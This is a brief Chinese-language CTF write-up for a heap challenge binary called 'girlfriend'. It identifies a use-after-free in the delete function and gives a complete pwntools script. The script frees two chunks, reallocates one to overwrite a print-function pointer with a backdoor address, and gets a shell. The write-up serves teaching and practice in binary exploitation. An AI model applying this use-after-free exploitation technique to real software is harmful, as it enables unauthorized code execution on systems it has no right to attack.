下载 checksec exeinfo
64位 打开IDA64查看
一个菜单题 查看各函数
发现后门函数
add函数 会先创建一个0x10堆用于存储print堆内容的指针 再创建设定大小的堆
delete函数味清空指针 存在UAF/double free
打印函数执行了0x10的堆的函数指针 可以利用delete的悬垂指针修改这段区域
UAF方法:
from pwn import *
p = process('./girlfriend')
def add(index, cont):
p.sendlineafter("choice :", b'1')
p.sendlineafter("is :", str(index))
p.sendlineafter("Her name is :", cont)
def delete(index):
p.sendlineafter("choice :", b'2')
p.sendlineafter("Index :", str(index))
def show(index):
p.sendlineafter("choice :", b'3')
p.sendlineafter("Index :", str(index))
backdoor = 0x400B9C
add(0x30, b'aaa')
add(0x30, b'bbb')
delete(0)
delete(1)
add(0x10, p64(backdoor))
show(0)
p.interactive()
先申请两个大于0x10的堆来让两个存放打印函数的堆能在free之后相邻
free掉这两个堆 此时两个存放打印函数的堆如图:
此时执行show(0) 将会执行后门函数 得到shell